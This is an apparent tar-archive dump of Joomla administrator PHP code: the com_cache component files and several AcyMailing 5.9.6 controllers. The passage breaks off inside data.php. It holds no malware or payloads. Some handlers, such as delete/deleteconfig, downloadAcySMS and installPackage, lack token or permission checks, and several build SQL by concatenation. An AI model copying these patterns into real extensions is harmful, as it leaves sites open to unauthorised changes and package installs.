			<filename>controller.php</filename>
			<folder>models</folder>
			<folder>views</folder>
		</files>
		<languages folder="admin">
			<language tag="en-GB">language/en-GB.com_cache.ini</language>
			<language tag="en-GB">language/en-GB.com_cache.sys.ini</language>
		</languages>
	</administration>
</extension>

com_cache/cache.php000060400000001061152455305300010215 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_cache
 *
 * @copyright   (C) 2005 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

if (!JFactory::getUser()->authorise('core.manage', 'com_cache'))
{
	throw new JAccessExceptionNotallowed(JText::_('JERROR_ALERTNOAUTHOR'), 403);
}

$controller = JControllerLegacy::getInstance('Cache');
$controller->execute(JFactory::getApplication()->input->get('task'));
$controller->redirect();
com_cache/config.xml000060400000000537152455305300010437 0ustar00<?xml version="1.0" encoding="utf-8"?>
<config>
	<fieldset
		name="permissions"
		label="JCONFIG_PERMISSIONS_LABEL"
		description="JCONFIG_PERMISSIONS_DESC"
		>
		<field
			name="rules"
			type="rules"
			label="JCONFIG_PERMISSIONS_LABEL"
			filter="rules"
			validate="rules"
			component="com_cache"
			section="component" />
	</fieldset>
</config>
com_cache/access.xml000060400000000474152455305300010433 0ustar00<?xml version="1.0" encoding="utf-8" ?>
<access component="com_cache">
	<section name="component">
		<action name="core.admin" title="JACTION_ADMIN" description="JACTION_ADMIN_COMPONENT_DESC" />
		<action name="core.manage" title="JACTION_MANAGE" description="JACTION_MANAGE_COMPONENT_DESC" />
	</section>
</access>
com_acymailing/controllers/file.php000060400000017372152455305300013525 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class FileController extends acymailingController{
	
	function language(){
		acymailing_setVar('layout', 'language');
		return parent::display();
	}

	function save(){
		acymailing_checkToken();

		$this->_savelanguage();
		return $this->language();
	}

	function savecss(){
		if(!$this->isAllowed('configuration', 'manage')) return;
		acymailing_checkToken();

		$file = acymailing_getVar('cmd', 'file');
		if(!preg_match('#^([-a-z0-9]*)_([-_a-z0-9]*)$#i', $file, $result)){
			acymailing_display('Could not load the file '.$file.' properly');
			exit;
		}
		$type = $result[1];
		$fileName = $result[2];

		

		$path = ACYMAILING_MEDIA.'css'.DS.$type.'_'.$fileName.'.css';
		$csscontent = acymailing_getVar('string', 'csscontent');

		$alreadyExists = file_exists($path);

		if(acymailing_writeFile($path, $csscontent)){
			acymailing_enqueueMessage(acymailing_translation('JOOMEXT_SUCC_SAVED'), 'success');
			$varName = acymailing_getVar('cmd', 'var');
			if(!$alreadyExists){
				$js = "var optn = document.createElement(\"OPTION\");
						optn.text = '$fileName'; optn.value = '$fileName';
						mydrop = window.top.document.getElementById('".$varName."_choice');
						mydrop.options.add(optn);
						lastid = 0; while(mydrop.options[lastid+1]){lastid = lastid+1;} mydrop.selectedIndex = lastid;
						window.top.updateCSSLink('".$varName."','$type','$fileName');";
				acymailing_addScript(true, $js);
			}
			$config = acymailing_config();
			$newConfig = new stdClass();
			$newConfig->$varName = $fileName;
			$config->save($newConfig);
		}else{
			acymailing_enqueueMessage(acymailing_translation_sprintf('FAIL_SAVE', $path), 'error');
		}

		return $this->css();
	}

	function css(){
		acymailing_setVar('layout', 'css');
		return parent::display();
	}

	function latest(){
		return $this->language();
	}

	function send(){
		if(!$this->isAllowed('configuration', 'manage')) return;
		acymailing_checkToken();

		$bodyEmail = acymailing_getVar('string', 'mailbody');
		$code = acymailing_getVar('cmd', 'code');
		acymailing_setVar('code', $code);

		if(empty($code)) return;

		

		$config = acymailing_config();
		$mailer = acymailing_get('helper.mailer');
		$mailer->Subject = '[ACYMAILING LANGUAGE FILE] '.$code;
		$mailer->Body = 'The website '.ACYMAILING_LIVE.' using AcyMailing '.$config->get('level').' '.$config->get('version').' sent a language file : '.$code;
		$mailer->Body .= "\n"."\n"."\n".$bodyEmail;

		$extrafile = acymailing_getLanguagePath(ACYMAILING_ROOT, $code).DS.$code.'.com_acymailing_custom.ini';

		if(file_exists($extrafile)){
			$mailer->Body .= "\n"."\n"."\n".'Custom content:'."\n".file_get_contents($extrafile);
		}
		$mailer->AddAddress(acymailing_currentUserEmail(), acymailing_currentUserName());
		$mailer->AddAddress('translate@acyba.com', 'Acyba Translation Team');
		$mailer->report = false;

		$path = acymailing_cleanPath(acymailing_getLanguagePath(ACYMAILING_ROOT, $code).DS.$code.'.com_acymailing.ini');
		$mailer->AddAttachment($path);

		$result = $mailer->Send();
		if($result){
			acymailing_display(acymailing_translation('THANK_YOU_SHARING'), 'success');
			acymailing_display($mailer->reportMessage, 'success');
		}else{
			acymailing_display($mailer->reportMessage, 'error');
		}
	}

	function share(){
		if(!$this->isAllowed('configuration', 'manage')) return;
		acymailing_checkToken();

		if($this->_savelanguage()){
			acymailing_setVar('layout', 'share');
			return parent::display();
		}else{
			return $this->language();
		}
	}

	function _savelanguage(){
		if(!$this->isAllowed('configuration', 'manage')) return;
		acymailing_checkToken();
		
		$code = acymailing_getVar('cmd', 'code');
		acymailing_setVar('code', $code);
		$content = acymailing_getVar('string', 'content', '', '', ACY_ALLOWHTML);
		$content = str_replace('</textarea>', '', $content);

		if(empty($code) || empty($content)) return;

		$path = acymailing_getLanguagePath(ACYMAILING_ROOT, $code).DS.$code.'.com_acymailing.ini';
		$result = acymailing_writeFile($path, $content);
		if($result){
			acymailing_enqueueMessage(acymailing_translation('JOOMEXT_SUCC_SAVED'), 'success');
			$js = "window.top.document.getElementById('image$code').className = 'acyicon-edit'";
			acymailing_addScript(true, $js);

			$updateHelper = acymailing_get('helper.update');
			$updateHelper->installMenu($code);
		}else{
			acymailing_enqueueMessage(acymailing_translation_sprintf('FAIL_SAVE', $path), 'error');
		}

		$customcontent = acymailing_getVar('string', 'customcontent', '', '', ACY_ALLOWHTML);
		$customcontent = str_replace('</textarea>', '', $customcontent);
		$custompath = acymailing_getLanguagePath(ACYMAILING_ROOT, $code).DS.$code.'.com_acymailing_custom.ini';
		$customresult = acymailing_writeFile($custompath, $customcontent);
		if(!$customresult) acymailing_enqueueMessage(acymailing_translation_sprintf('FAIL_SAVE', $custompath), 'error');

		if($code == acymailing_getLanguageTag()) acymailing_loadLanguage();

		return $result;
	}

	function installLanguages($ajax = true){
		$messagesMethod = $ajax ? 'acymailing_display' : 'acymailing_enqueueMessage';

		$languages = acymailing_getVar('string', 'languages');
		ob_start();
		$languagesContent = acymailing_fileGetContent(ACYMAILING_UPDATEURL.'loadLanguages&json=1&codes='.$languages);
		$warnings = ob_get_clean();
		if(!empty($warnings) && acymailing_isDebug()) echo $warnings;

		if(empty($languagesContent)){
			$messagesMethod('Could not load the language files from our server, you can update them in the AcyMailing configuration page, tab "Languages" or start your own translation and share it', 'error');
			if($ajax) exit;
			else return;
		}

		$decodedLanguages = json_decode($languagesContent, true);

		$updateHelper = acymailing_get('helper.update');
		$success = array();
		$error = array();

		foreach($decodedLanguages as $code => $content){
			if(empty($content)){
				$error[] = 'The language '.$code.' was not found on our server, you can start your own translation in the AcyMailing configuration page, tab "Languages" then share it';
				continue;
			}

			if(acymailing_writeFile(acymailing_getLanguagePath(ACYMAILING_ROOT, $code).DS.$code.'.com_acymailing.ini', $content)){
				$updateHelper->installMenu($code);
				$success[] = 'Successfully installed language: '.$code;
			}else{
				$error[] = acymailing_translation_sprintf('FAIL_SAVE', $code.'.com_acymailing.ini');
			}
		}

		if(!empty($success)) $messagesMethod($success, 'success');
		if(!empty($error)) $messagesMethod($error, 'error');
		if($ajax) exit;
	}

	function select(){
		acymailing_setVar('layout', 'select');
		return parent::display();
	}

	function downloadAcySMS(){
		$headers = get_headers('https://www.acyba.com/download-area/download/component-acysms/level-express.html',1);
		$package = acymailing_fileGetContent('https://www.acyba.com/download-area/download/component-acysms/level-express.html');
		if(empty($headers['Content-Disposition']) || empty($package)) exit;

		$fileName = strpos($headers['Content-Disposition'], '.zip') === false ? 'com_acysms.tar.gz' : 'com_acysms.zip';
		if(acymailing_writeFile(ACYMAILING_ROOT.'tmp'.DS.'acysms'.DS.$fileName, $package) && acymailing_extractArchive(ACYMAILING_ROOT.'tmp'.DS.'acysms'.DS.$fileName, ACYMAILING_ROOT.'tmp'.DS.'acysms')) echo 'success';

		exit;
	}

	function installPackage(){
		if(!ACYMAILING_J16) include_once(ACYMAILING_ROOT.'libraries'.DS.'joomla'.DS.'installer'.DS.'installer.php');
		
		$installer = JInstaller::getInstance();

		if($installer->install(ACYMAILING_ROOT.'tmp'.DS.'acysms')){
			acymailing_deleteFolder(ACYMAILING_ROOT.'tmp'.DS.'acysms');
			echo 'success';
		}

		exit;
	}
}
com_acymailing/controllers/toggle.php000060400000031321152455305300014055 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class ToggleController extends acymailingController{

	var $allowedTablesColumn = array();
	var $deleteColumns = array();

	function __construct($config = array()){
		parent::__construct($config);
		$this->registerDefaultTask('toggle');
		$this->allowedTablesColumn['list'] = array('published' => 'listid', 'visible' => 'listid');
		$this->allowedTablesColumn['action'] = array('published' => 'action_id');
		$this->allowedTablesColumn['subscriber'] = array('confirmed' => 'subid', 'html' => 'subid', 'enabled' => 'subid');
		$this->allowedTablesColumn['template'] = array('published' => 'tempid', 'premium' => 'tempid');
		$this->allowedTablesColumn['mail'] = array('published' => 'mailid', 'visible' => 'mailid');
		$this->allowedTablesColumn['listsub'] = array('status' => 'listid,subid');
		$this->allowedTablesColumn['plugins'] = array('published' => 'id');
		$this->allowedTablesColumn['followup'] = array('add' => 'mailid', 'addall' => 'mailid', 'update' => 'mailid');
		$this->allowedTablesColumn['rules'] = array('published' => 'ruleid');
		$this->allowedTablesColumn['filter'] = array('published' => 'filid');
		$this->allowedTablesColumn['fields'] = array('published' => 'fieldid', 'required' => 'fieldid', 'frontcomp' => 'fieldid', 'backend' => 'fieldid', 'listing' => 'fieldid', 'frontlisting' => 'fieldid', 'frontjoomlaregistration' => 'fieldid', 'frontjoomlaprofile' => 'fieldid', 'joomlaprofile' => 'fieldid', 'frontform' => 'fieldid');
		$this->allowedTablesColumn['config'] = array('addindex' => 'namekey', 'guessport' => 'port');
		$this->deleteColumns['queue'] = array('subid', 'mailid');
		$this->deleteColumns['filter'] = array('filid', 'filid');
		$this->deleteColumns['rules'] = array('ruleid', 'ruleid');
		header('Cache-Control: no-store, no-cache, must-revalidate');
		header('Cache-Control: post-check=0, pre-check=0', false);
		header('Pragma: no-cache');
	}

	function toggle(){
		acymailing_checkToken();

		$completeTask = acymailing_getVar('cmd', 'task');
		$task = substr($completeTask, 0, strpos($completeTask, '_'));
		$elementId = substr($completeTask, strpos($completeTask, '_') + 1);

		$value = acymailing_getVar('int', 'value', '0', '');
		$table = acymailing_getVar('word', 'table', '', '');

		if(empty($this->allowedTablesColumn[$table]) || empty($this->allowedTablesColumn[$table][$task])) exit;
		$pkey = $this->allowedTablesColumn[$table][$task];
		if(empty($pkey)) exit;

		$function = $table.$task;
		if(method_exists($this, $function)){
			$this->$function($elementId, $value);
		}else{
			acymailing_query('UPDATE '.acymailing_table($table).' SET '.$task.' = '.$value.' WHERE '.$pkey.' = '.intval($elementId).' LIMIT 1');
		}

		$toggleClass = acymailing_get('helper.toggle');
		$extra = acymailing_getVar('array', 'extra', array(), '');
		if(!empty($extra)){
			foreach($extra as $key => $val){
				$extra[$key] = urldecode($val);
			}
		}
		echo $toggleClass->toggle(acymailing_getVar('cmd', 'task', ''), $value, $table, $extra);
		exit;
	}

	function configguessport($port, $value){
		if(!function_exists('fsockopen')){
			echo '<span style="color:red">fsockopen is not enabled, please contact your hosting company to enable it</span>';
			exit;
		}

		$tests = array(25 => 'smtp.sendgrid.com', 2525 => 'smtp.sendgrid.com', 587 => 'smtp.sendgrid.com', 465 => 'ssl://smtp.sendgrid.com');
		$total = 0;
		foreach($tests as $port => $server){
			$fp = @fsockopen($server, $port, $errno, $errstr, 5);
			if($fp){
				echo '<br /><span style="color:green" >Port <b>'.$port.'</b> OK</span>';
				fclose($fp);
				$total++;
			}else{
				echo '<br /><span style="color:red" >Port <b>'.$port.'</b> not opened on your server ';
				echo " errornum: ".$errno.' : '.$errstr;
				echo '</span>';
			}
		}
		if(empty($total)){
		}

		exit;
	}

	function testApiKey(){
		$apiKey = acymailing_getVar('string', 'value', '');
		if(empty($apiKey)){
			echo '<span style="color:red">No API key</span><br />';
			exit;
		}

		$classGeoloc = acymailing_get('class.geolocation');
		$test = $classGeoloc->testApiKey($apiKey);

		if(!empty($test) && $test->statusCode == 'OK'){ // Works fine
			echo '<span style="color:green" >API key OK : '.$test->countryName.' - '.$test->cityName.'</span>';
		}else if(!empty($test) && $test->statusCode == 'noReturn'){ // No return from the API, displaying the IP used for test and errors if there are any
			echo '<span style="color:red" >Error calling IPInfoDB API with IP : '.$test->ip.'</span><br />';
			if(!empty($test->errorAPI)) echo '<span style="color:red" >Details : '.$test->errorAPI.'</span>';
		}else{ // There is a return from the API but with an error status: display the content received to identify the pb
			echo '<span style="color:red" >Error returned from the API:<br /><br />';
			foreach($test as $key => $value){
				echo $key.' : '.$value.'<br />';
			}
			echo '</span>';
		}
		exit;
	}

	function configaddindex($table, $value){
		$queries = array();
		$queries['listsub'] = array('ALTER TABLE `#__acymailing_listsub` ADD INDEX `subidindex` ( `subid` )');
		$queries['listsub'][] = 'ALTER TABLE `#__acymailing_listsub` ADD INDEX `listidstatusindex` ( `listid` , `status` )';

		$queries['stats'] = array('ALTER TABLE `#__acymailing_stats` ADD INDEX `senddateindex` ( `senddate` )');

		$queries['list'] = array('ALTER TABLE `#__acymailing_list` ADD INDEX `typeorderingindex` ( `type` , `ordering` ) ');
		$queries['list'][] = 'ALTER TABLE `#__acymailing_list` ADD INDEX `useridindex` ( `userid` ) ';
		$queries['list'][] = 'ALTER TABLE `#__acymailing_list` ADD INDEX `typeuseridindex` ( `type` , `userid` ) ';

		$queries['mail'] = array('ALTER TABLE `#__acymailing_mail` ADD INDEX `typemailidindex` ( `type` , `mailid` )');
		$queries['mail'][] = 'ALTER TABLE `#__acymailing_mail` ADD INDEX `useridindex` ( `userid` )';

		$queries['userstats'] = array('ALTER TABLE `#__acymailing_userstats` ADD INDEX `senddateindex` ( `senddate` )');
		$queries['userstats'][] = 'ALTER TABLE `#__acymailing_userstats` ADD INDEX `subidindex` ( `subid` )';

		$queries['urlclick'] = array('ALTER TABLE `#__acymailing_urlclick` ADD INDEX `dateindex` ( `date` )');
		$queries['urlclick'][] = 'ALTER TABLE `#__acymailing_urlclick` ADD INDEX `mailidindex` ( `mailid` )';
		$queries['urlclick'][] = 'ALTER TABLE `#__acymailing_urlclick` ADD INDEX `subidindex` ( `subid` ) ';

		$queries['history'] = array('ALTER TABLE `#__acymailing_history` ADD INDEX `dateindex` ( `date` )');
		$queries['history'][] = 'ALTER TABLE `#__acymailing_history` ADD INDEX `actionindex` ( `action` , `mailid` ) ';

		$queries['template'] = array('ALTER TABLE `#__acymailing_template` ADD INDEX `orderingindex` ( `ordering` )');

		$queries['queue'] = array('ALTER TABLE `#__acymailing_queue` ADD INDEX `orderingindex` ( `priority` , `senddate` , `subid` )');
		$queries['queue'][] = 'ALTER TABLE `#__acymailing_queue` ADD INDEX `listingindex` ( `senddate` , `subid` )';
		$queries['queue'][] = 'ALTER TABLE `#__acymailing_queue` ADD INDEX `mailidindex` ( `mailid` )';

		$queries['subscriber'] = array('ALTER TABLE `#__acymailing_subscriber` ADD INDEX `queueindex` ( `enabled` , `accept` , `confirmed` )');

		if(empty($queries[$table])){
			echo 'No optimization found...';
			exit;
		}

		$indexOk = 0;
		echo '<span style="color:purple">| ';
		foreach($queries[$table] as $oneQuery){
			try{
				$isError = acymailing_query($oneQuery);
			}catch(Exception $e){
				$isError = null;
			}
			if($isError === null){
				echo isset($e) ? $e->getMessage() : substr(strip_tags(acymailing_getDBError()), 0, 200).'...';
			}else{
				$indexOk++;
			}
		}
		if(!empty($indexOk)) echo $indexOk.' indexes added | ';
		echo '</span>';

		$config = acymailing_config();
		$newConfig = new stdClass();
		$val = 'optimize_'.$table;
		$newConfig->$val = 1;
		$config->save($newConfig);

		exit;
	}

	function followupaddall($mailid, $value){
		$mailClass = acymailing_get('class.mail');
		$nbinserted = $mailClass->addFollowUpQueue($mailid, true);
		if($nbinserted !== false){
			echo acymailing_translation_sprintf('ADDED_QUEUE', $nbinserted);
		}else{
			echo implode(',', $mailClass->errors);
		}
		exit;
	}

	function followupadd($mailid, $value){
		$mailClass = acymailing_get('class.mail');
		$nbinserted = $mailClass->addFollowUpQueue($mailid, false);
		if($nbinserted !== false){
			echo acymailing_translation_sprintf('ADDED_QUEUE', $nbinserted);
		}else{
			echo implode(',', $mailClass->errors);
		}
		exit;
	}

	function followupupdate($mailid, $value){
		$mailClass = acymailing_get('class.mail');
		$followup = $mailClass->get($mailid);
		if(empty($followup->mailid)){
			echo 'Could not load mailid '.$mailid;
			exit;
		}

		$listmailClass = acymailing_get('class.listmail');
		$mycampaign = $listmailClass->getCampaign($followup->mailid);
		if(empty($mycampaign->listid)){
			echo 'Could not get the attached campaign';
			exit;
		}

		$query = 'UPDATE #__acymailing_queue as a ';
		$query .= 'LEFT JOIN #__acymailing_listsub as b ON a.subid = b.subid AND b.listid = '.$mycampaign->listid;
		$query .= ' SET a.`senddate` = b.`subdate` + '.$followup->senddate;
		$query .= ' WHERE a.mailid = '.$followup->mailid;
		$nbupdated = acymailing_query($query);

		if(!empty($nbupdated)){
			$campaignHelper = acymailing_get('helper.campaign');
			$campaignHelper->updateUnsubdate($mycampaign->listid, $followup->senddate);
		}

		echo acymailing_translation_sprintf('NB_EMAILS_UPDATED', $nbupdated);
		exit;
	}

	function delete(){
		$value = acymailing_getVar('cmd', 'value');
		if(strpos($value, '_') === false) exit;
		list($value1, $value2) = explode('_', $value);
		$table = acymailing_getVar('word', 'table', '', '');
		if(empty($table)) exit;

		$function = 'delete'.$table;
		if(method_exists($this, $function)){
			$this->$function($value1, $value2);
			exit;
		}

		if(empty($this->deleteColumns[$table])) exit;

		list($key1, $key2) = $this->deleteColumns[$table];

		if(empty($key1) || empty($key2) || empty($value1) || empty($value2)) exit;

		acymailing_query('DELETE FROM '.acymailing_table($table).' WHERE '.$key1.' = '.intval($value1).' AND '.$key2.' = '.intval($value2));

		exit;
	}

	function deleteconfig($namekey, $val){
		$config = acymailing_config();
		$newConfig = new stdClass();
		$newConfig->$namekey = $val;
		$config->save($newConfig);
	}

	function deletefollowup($campaignid, $mailid){
		acymailing_checkToken();

		$mailClass = acymailing_get('class.mail');
		$mailClass->delete((int)$mailid);
	}

	function deleteMail($mailid, $attachid){
		acymailing_checkToken();

		$mailid = intval($mailid);
		if(empty($mailid)) return false;

		$attachment = acymailing_loadResult('SELECT attach FROM '.acymailing_table('mail').' WHERE mailid = '.$mailid.' LIMIT 1');
		if(empty($attachment)) return;
		$attach = unserialize($attachment);

		unset($attach[$attachid]);
		$attachdb = serialize($attach);

		return acymailing_query('UPDATE '.acymailing_table('mail').' SET attach = '.acymailing_escapeDB($attachdb).' WHERE mailid = '.$mailid.' LIMIT 1');
	}

	function deleteFavicon($mailid, $favicon){
		acymailing_checkToken();

		if($favicon != 'favicon') return;

		$mailid = intval($mailid);
		if(empty($mailid)) return false;

		return acymailing_query('UPDATE '.acymailing_table('mail').' SET favicon = "" WHERE mailid = '.$mailid.' LIMIT 1');
	}

	function subscriberconfirmed($subid, $value){
		if(!empty($value)){
			$subscriberClass = acymailing_get('class.subscriber');
			$subscriberClass->confirmSubscription($subid);
		}else{
			acymailing_query('UPDATE '.acymailing_table('subscriber').' SET confirmed = '.$value.' WHERE subid = '.intval($subid).' LIMIT 1');
		}
	}

	function listsubstatus($ids, $status){

		list($listid, $subid) = explode('_', $ids);
		$listid = (int)$listid;
		$subid = (int)$subid;

		if(empty($subid) OR empty($listid)) exit;
		$listSubClass = acymailing_get('class.listsub');
		$lists = array();
		$lists[$status] = array($listid);
		if($listSubClass->updateSubscription($subid, $lists)) return;

		echo 'error while updating the subscription';
	}

	function pluginspublished($id, $publish){
		acymailing_checkToken();

		if(!ACYMAILING_J16){
			acymailing_query('UPDATE '.acymailing_table('plugins', false).' SET `published` = '.intval($publish).' WHERE `id` = '.intval($id).' AND (`folder` = \'acymailing\' OR `name` LIKE \'%acymailing%\' OR `element` LIKE \'%acymailing%\') LIMIT 1');
		}else{
			acymailing_query('UPDATE `#__extensions` SET `enabled` = '.intval($publish).' WHERE `extension_id` = '.intval($id).' AND (`folder` = \'acymailing\' OR `name` LIKE \'%acymailing%\' OR `element` LIKE \'%acymailing%\') LIMIT 1');
		}

		$updateHelper = acymailing_get('helper.update');
		$updateHelper->cleanPluginCache();
	}
}
com_acymailing/controllers/queue.php000060400000003633152455305300013725 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class QueueController extends acymailingController{

	var $aclCat = 'queue';

	function remove(){
		if(!$this->isAllowed($this->aclCat, 'delete')) return;
		acymailing_checkToken();
		$mailid = acymailing_getVar('int', 'filter_mail', 0, 'post');

		$queueClass = acymailing_get('class.queue');
		$search = acymailing_getVar('string', 'search');
		$filters = array();
		if(!empty($search)){
			$searchVal = '\'%'.acymailing_getEscaped($search, true).'%\'';
			$searchFields = array('b.name', 'b.email', 'c.subject', 'a.mailid', 'a.subid');
			$filters[] = implode(" LIKE $searchVal OR ", $searchFields)." LIKE $searchVal";
		}
		if(!empty($mailid)){
			$filters[] = 'a.mailid = '.intval($mailid);
		}

		$total = $queueClass->delete($filters);
		acymailing_enqueueMessage(acymailing_translation_sprintf('SUCC_DELETE_ELEMENTS', $total), 'message');
		acymailing_setVar('filter_mail', 0, 'post');
		acymailing_setVar('search', '', 'post');

		return $this->listing();
	}

	function process(){
		if(!$this->isAllowed($this->aclCat, 'process')) return;
		acymailing_setVar('layout', 'process');
		return parent::display();
	}

	function preview(){
		acymailing_setVar('layout', 'preview');
		return parent::display();
	}

	function cancelNewsletter(){
		if(!$this->isAllowed($this->aclCat, 'delete')) return;
		acymailing_checkToken();
		$mailid = acymailing_getVar('int', 'mailid', 0);
		if(empty($mailid)){
			acymailing_enqueueMessage('Mail id not found', 'error');
			return;
		}
		$queueClass = acymailing_get('class.queue');
		acymailing_enqueueMessage(acymailing_translation_sprintf('SUCC_DELETE_ELEMENTS', $queueClass->delete(array('a.mailid = '.$mailid))), 'info');
	}
}
com_acymailing/controllers/subscriber.php000060400000010101152455305300014730 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class SubscriberController extends acymailingController{

	var $pkey = 'subid';
	var $allowedInfo = array();
	var $aclCat = 'subscriber';

	function choose(){
		if(!$this->isAllowed('subscriber', 'view')) return;
		acymailing_setVar('layout', 'choose');
		return parent::display();
	}

	function export(){
		if(!$this->isAllowed('subscriber', 'export')) return;
		$cids = acymailing_getVar('none', 'cid');
		$selectedList = acymailing_getVar('int', 'filter_lists');
		$_SESSION['acymailing'] = array();
		$redirection = (acymailing_isAdmin() ? '' : 'front').'data&task=export';
		if(!empty($cids) || !empty($selectedList)){
			if(!empty($cids)){
				$_SESSION['acymailing']['exportusers'] = $cids;
			}else{
				$_SESSION['acymailing']['exportlist'] = $selectedList;
				$_SESSION['acymailing']['exportliststatus'] = acymailing_getVar('int', 'filter_statuslist');
			}
			$redirection .= '&sessionvalues=1';
		}


		acymailing_redirect(acymailing_completeLink($redirection, false, true));
	}

	function store(){
		if(!$this->isAllowed('subscriber', 'manage')) return;
		acymailing_checkToken();

		$subscriberClass = acymailing_get('class.subscriber');
		$subscriberClass->sendConf = false;
		$subscriberClass->sendNotif = false;
		$subscriberClass->sendWelcome = false;
		$subscriberClass->allowModif = true;
		$subscriberClass->checkAccess = false;
		$subscriberClass->triggerFilterBE = true;
		$subscriberClass->checkVisitor = false;

		$status = $subscriberClass->saveForm();
		if($status){
			acymailing_enqueueMessage(acymailing_translation('JOOMEXT_SUCC_SAVED'), 'message');
		}else{
			acymailing_enqueueMessage(acymailing_translation('ERROR_SAVING'), 'error');
			if(!empty($subscriberClass->errors)){
				foreach($subscriberClass->errors as $oneError){
					acymailing_enqueueMessage($oneError, 'error');
				}
			}
		}
	}

	function remove(){
		acymailing_checkToken();
		$config = acymailing_config();
		$deleteBehaviour = $config->get('frontend_delete_button', 'delete');
		$subscriberIds = acymailing_getVar('array', 'cid', array(), '');
		if(acymailing_isAdmin() || $deleteBehaviour == 'delete'){
			if(!$this->isAllowed('subscriber', 'delete')) return;

			$subscriberObject = acymailing_get('class.subscriber');
			$num = $subscriberObject->delete($subscriberIds);

			acymailing_enqueueMessage(acymailing_translation_sprintf('SUCC_DELETE_ELEMENTS', $num), 'message');
		}else{
			if(!$this->isAllowed('subscriber', 'manage')) return;

			$listId = acymailing_getVar('int', 'filter_lists', 0);
			if(empty($listId)){
				acymailing_enqueueMessage('List not found', 'error');
			}else{
				$listsubClass = acymailing_get('class.listsub');
				foreach($subscriberIds as $subid){
					$listsubClass->removeSubscription($subid, array($listId));
				}

				$listClass = acymailing_get('class.list');
				$list = $listClass->get($listId);

				acymailing_enqueueMessage(acymailing_translation_sprintf('IMPORT_REMOVE', count($subscriberIds), $list->name), 'message');
			}
		}

		acymailing_setVar('layout', 'listing');
		return parent::display();
	}

	function getSubscribersByEmail(){
		$NameSearched = acymailing_getVar('string', 'search', '');
		if(empty($NameSearched) || !acymailing_isAdmin() || !$this->isAllowed('subscriber', 'view')) exit;

		$NameSearched = '\'%'.acymailing_getEscaped($NameSearched, true).'%\'';
		$users = acymailing_loadObjectList('SELECT name, email FROM #__acymailing_subscriber WHERE email LIKE '.$NameSearched.' OR name LIKE '.$NameSearched.' ORDER BY email ASC LIMIT 30');
		if(empty($users)) exit;

		echo '<table style="width:100%;">';
		foreach($users as $oneUser){
			echo '<tr class="row_user" onclick="setUser(\''.str_replace("'", "\'", $oneUser->email).'\');"><td>'.htmlspecialchars($oneUser->name, ENT_COMPAT, 'UTF-8').'</td><td>'.htmlspecialchars($oneUser->email, ENT_COMPAT, 'UTF-8').'</td></tr>';
		}
		echo '</table>';
		exit;
	}
}
com_acymailing/controllers/fields.php000060400000002122152455305300014037 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class FieldsController extends acymailingController{
	var $pkey = 'fieldid';
	var $table = 'fields';
	var $groupMap = '';
	var $groupVal = '';

	function listing(){
		if(!acymailing_level(3)){
			$acyToolbar = acymailing_get('helper.toolbar');
			$acyToolbar->setTitle(acymailing_translation('EXTRA_FIELDS'), 'fields');
			$acyToolbar->help('customfields');
			$acyToolbar->display();
			$config = acymailing_config();

			$level = $config->get('level');
			$url = ACYMAILING_HELPURL.'fields-paidversion&utm_source=acymailing-'.$level.'&utm_medium=back-end&utm_content=customfields-display&utm_campaign=upgrade';
			$iFrame = "<iframe class='paidversion' frameborder='0' src='$url' width='100%' height='100%' scrolling='auto'></iframe>";
			echo $iFrame.'<div id="iframedoc"></div>';
			return;
		}

		return parent::listing();
	}

}
com_acymailing/controllers/data.php000060400000035503152455305300013513 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class DataController extends acymailingController{

	function listing(){
		$importHelper = acymailing_get('helper.import');
		$importHelper->_cleanImportFolder();
		return $this->import();
	}

	function import(){
		if(!$this->isAllowed('subscriber', 'import')) return;
		acymailing_setVar('layout', 'import');
		return parent::display();
	}

	function export(){
		if(!$this->isAllowed('subscriber', 'export')) return;
		acymailing_setVar('layout', 'export');
		return parent::display();
	}

	function loadZohoFields(){
		$zohoHelper = acymailing_get('helper.zoho');
		$zohoHelper->authtoken = acymailing_getVar('none', 'zoho_apikey');
		$list = acymailing_getVar('none', 'zoho_list');
		acymailing_setVar('layout', 'import');
		$zohoFields = $zohoHelper->getFieldsRaw($list);
		if(!empty($zohoHelper->error)){
			acymailing_enqueueMessage($zohoHelper->error, 'error');
			return parent::display();
		}
		$zohoFieldsParsed = $zohoHelper->parseXMLFields($zohoFields);
		if(!empty($zohoHelper->error)){
			acymailing_enqueueMessage($zohoHelper->error, 'error');
			return parent::display();
		}
		$config = acymailing_config();
		$newconfig = new stdClass();
		$newconfig->zoho_fieldsname = implode(',', $zohoFieldsParsed);
		$newconfig->zoho_list = $list;
		$newconfig->zoho_apikey = $zohoHelper->authtoken;
		$config->save($newconfig);
